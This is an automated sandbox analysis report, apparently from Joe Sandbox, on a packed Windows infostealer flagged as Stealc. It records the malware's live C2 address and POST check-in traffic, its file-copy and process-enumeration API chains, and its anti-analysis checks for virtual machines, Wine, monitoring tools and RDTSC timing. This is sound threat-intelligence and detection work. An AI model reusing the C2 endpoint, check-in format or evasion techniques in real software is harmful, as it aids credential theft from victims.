Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E11710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,		0_2_00E11710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,		0_2_00E1DB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E24B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,		0_2_00E24B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E23B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,		0_2_00E23B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,		0_2_00E1BE40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,		0_2_00E1EE20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,		0_2_00E1DF10

Networking

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49725 -> 185.215.113.206:80

Source: Malware configuration extractor

URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 45 46 36 42 37 39 33 33 45 32 33 39 32 34 36 39 36 33 33 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 2d 2d 0d 0a Data Ascii: ------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="hwid"CEEF6B7933E23924696330------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="build"tale------IEHCAKKJDBKKFHJJDHII--

Source: Joe Sandbox View

IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E162D0 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00E162D0

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: tse1.mm.bing.net

Source: unknown

HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 45 46 36 42 37 39 33 33 45 32 33 39 32 34 36 39 36 33 33 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 2d 2d 0d 0a Data Ascii: ------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="hwid"CEEF6B7933E23924696330------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="build"tale------IEHCAKKJDBKKFHJJDHII--

Source: file.exe, 00000000.00000002.2155893924.000000000097E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2155893924.00000000009D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2155893924.00000000009F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2155893924.00000000009D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: file.exe, 00000000.00000002.2155893924.00000000009F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpF
Source: file.exe, 00000000.00000002.2155893924.00000000009F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpS
Source: file.exe, 00000000.00000002.2155893924.00000000009F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpc
Source: file.exe, 00000000.00000002.2155893924.00000000009D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: file.exe, file.exe, 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2114793571.0000000004EAB000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

System Summary

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C		0_2_0126316C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E50098		0_2_00E50098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011A51DA		0_2_011A51DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E6B198		0_2_00E6B198
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E42138		0_2_00E42138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0123D0CF		0_2_0123D0CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E54288		0_2_00E54288
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E7E258		0_2_00E7E258
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B4226		0_2_011B4226
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E8D39E		0_2_00E8D39E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012682FF		0_2_012682FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9B308		0_2_00E9B308
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0123C569		0_2_0123C569
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0127243E		0_2_0127243E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E545A8		0_2_00E545A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E7D5A8		0_2_00E7D5A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E34573		0_2_00E34573
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E3E544		0_2_00E3E544
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E996FD		0_2_00E996FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E566C8		0_2_00E566C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0119E796		0_2_0119E796
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E8A648		0_2_00E8A648
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01176608		0_2_01176608
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126167B		0_2_0126167B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E86799		0_2_00E86799
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012486AF		0_2_012486AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E6D720		0_2_00E6D720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E7F8D6		0_2_00E7F8D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E6B8A8		0_2_00E6B8A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E698B8		0_2_00E698B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E64868		0_2_00E64868
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012759B6		0_2_012759B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126B9C1		0_2_0126B9C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012369DD		0_2_012369DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011F6B0B		0_2_011F6B0B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E78BD9		0_2_00E78BD9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E84BA8		0_2_00E84BA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E80B88		0_2_00E80B88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0125FA81		0_2_0125FA81
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126DD05		0_2_0126DD05
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E8AC28		0_2_00E8AC28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E64DC8		0_2_00E64DC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011DCC48		0_2_011DCC48
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E65DB9		0_2_00E65DB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E6BD68		0_2_00E6BD68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E41D78		0_2_00E41D78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E7AD38		0_2_00E7AD38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E81EE8		0_2_00E81EE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0125DF75		0_2_0125DF75
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E58E78		0_2_00E58E78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01273E2D		0_2_01273E2D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01269E81		0_2_01269E81

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00E14610 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: usisoqoi ZLIB complexity 0.9949866959291486

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E29790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00E29790

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E23970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00E23970

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ZBR48792.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

Virustotal: Detection: 43%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 2085888 > 1048576

Source: file.exe

Static PE information: Raw size of usisoqoi is bigger than: 0x100000 < 0x192400

Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2114793571.0000000004EAB000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2114793571.0000000004EAB000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.e10000.0.unpack :EW;.rsrc :W;.idata :W; :EW;usisoqoi:EW;igxiqctn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;usisoqoi:EW;igxiqctn:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E29BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00E29BB0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x209bb8 should be: 0x20b8de

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: usisoqoi
Source: file.exe	Static PE information: section name: igxiqctn
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012CA12E push edx; mov dword ptr [esp], 57FF0BAAh		0_2_012CA15F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012CA12E push 089A9F00h; mov dword ptr [esp], esi		0_2_012CA1A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012CA12E push edx; mov dword ptr [esp], 50F8B4CCh		0_2_012CA1F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E3A0F3 push eax; retf		0_2_00E3A119
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E3A0DC push eax; retf		0_2_00E3A0F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push ebx; mov dword ptr [esp], ecx		0_2_012631AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push edi; mov dword ptr [esp], edx		0_2_012631D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push ebx; mov dword ptr [esp], 77EFAB61h		0_2_0126322F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push edx; mov dword ptr [esp], edi		0_2_012632A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push edi; mov dword ptr [esp], edx		0_2_01263314
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push esi; mov dword ptr [esp], 73BBB330h		0_2_01263319
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push ecx; mov dword ptr [esp], 7DEC5D57h		0_2_012633A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push ebx; mov dword ptr [esp], esi		0_2_012633CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push 41EAF6B5h; mov dword ptr [esp], edx		0_2_01263401
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push 2509A44Ch; mov dword ptr [esp], edi		0_2_012634A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push ecx; mov dword ptr [esp], 00000000h		0_2_012634AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push edi; mov dword ptr [esp], ebx		0_2_012634DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push ecx; mov dword ptr [esp], eax		0_2_01263525
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push eax; mov dword ptr [esp], 00000001h		0_2_01263560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push 39C8302Dh; mov dword ptr [esp], edi		0_2_0126356F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push ebp; mov dword ptr [esp], 44B98EE6h		0_2_01263575
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push ebx; mov dword ptr [esp], ecx		0_2_01263580
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push ebp; mov dword ptr [esp], eax		0_2_01263646
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push ecx; mov dword ptr [esp], edi		0_2_012636F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push eax; mov dword ptr [esp], ebp		0_2_01263787
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push edi; mov dword ptr [esp], ebx		0_2_012637B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push edi; mov dword ptr [esp], ecx		0_2_0126383E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push edx; mov dword ptr [esp], esp		0_2_012638D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push 415C53B3h; mov dword ptr [esp], ecx		0_2_012638F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push 1ABFA674h; mov dword ptr [esp], edx		0_2_01263956
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126316C push ecx; mov dword ptr [esp], edx		0_2_01263979

Source: file.exe

Static PE information: section name: usisoqoi entropy: 7.953872207980885

Boot Survival

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E29BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00E29BB0

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A5AC second address: 127A5CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1DD480848Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1DD480848Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12798AB second address: 12798D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F59Ch 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007F1DD489F5A8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1279A82 second address: 1279A88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1279A88 second address: 1279A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1279D1A second address: 1279D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1279D1E second address: 1279D55 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pop edx 0x00000009 js 00007F1DD489F596h 0x0000000f pop eax 0x00000010 popad 0x00000011 ja 00007F1DD489F5C6h 0x00000017 pushad 0x00000018 jns 00007F1DD489F596h 0x0000001e pushad 0x0000001f popad 0x00000020 jmp 00007F1DD489F59Ch 0x00000025 js 00007F1DD489F596h 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1279D55 second address: 1279D5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1279D5B second address: 1279D5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C461 second address: 127C467 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C467 second address: 127C481 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD489F5A6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C481 second address: 127C4CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b stc 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F1DD4808488h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 add ecx, dword ptr [ebp+122D1F8Bh] 0x0000002e and ecx, 454CEFAAh 0x00000034 push A4E8F246h 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c jnl 00007F1DD4808486h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C4CA second address: 127C556 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1DD489F5A5h 0x0000000b popad 0x0000000c add dword ptr [esp], 5B170E3Ah 0x00000013 jmp 00007F1DD489F5A6h 0x00000018 push 00000003h 0x0000001a mov dword ptr [ebp+122D284Bh], ebx 0x00000020 xor ecx, dword ptr [ebp+122D2BC2h] 0x00000026 push 00000000h 0x00000028 call 00007F1DD489F59Ch 0x0000002d jl 00007F1DD489F5A0h 0x00000033 jmp 00007F1DD489F59Ah 0x00000038 pop edi 0x00000039 push 00000003h 0x0000003b jmp 00007F1DD489F5A5h 0x00000040 push 7C83B4F1h 0x00000045 jbe 00007F1DD489F5A8h 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C556 second address: 127C55A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C55A second address: 127C55E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
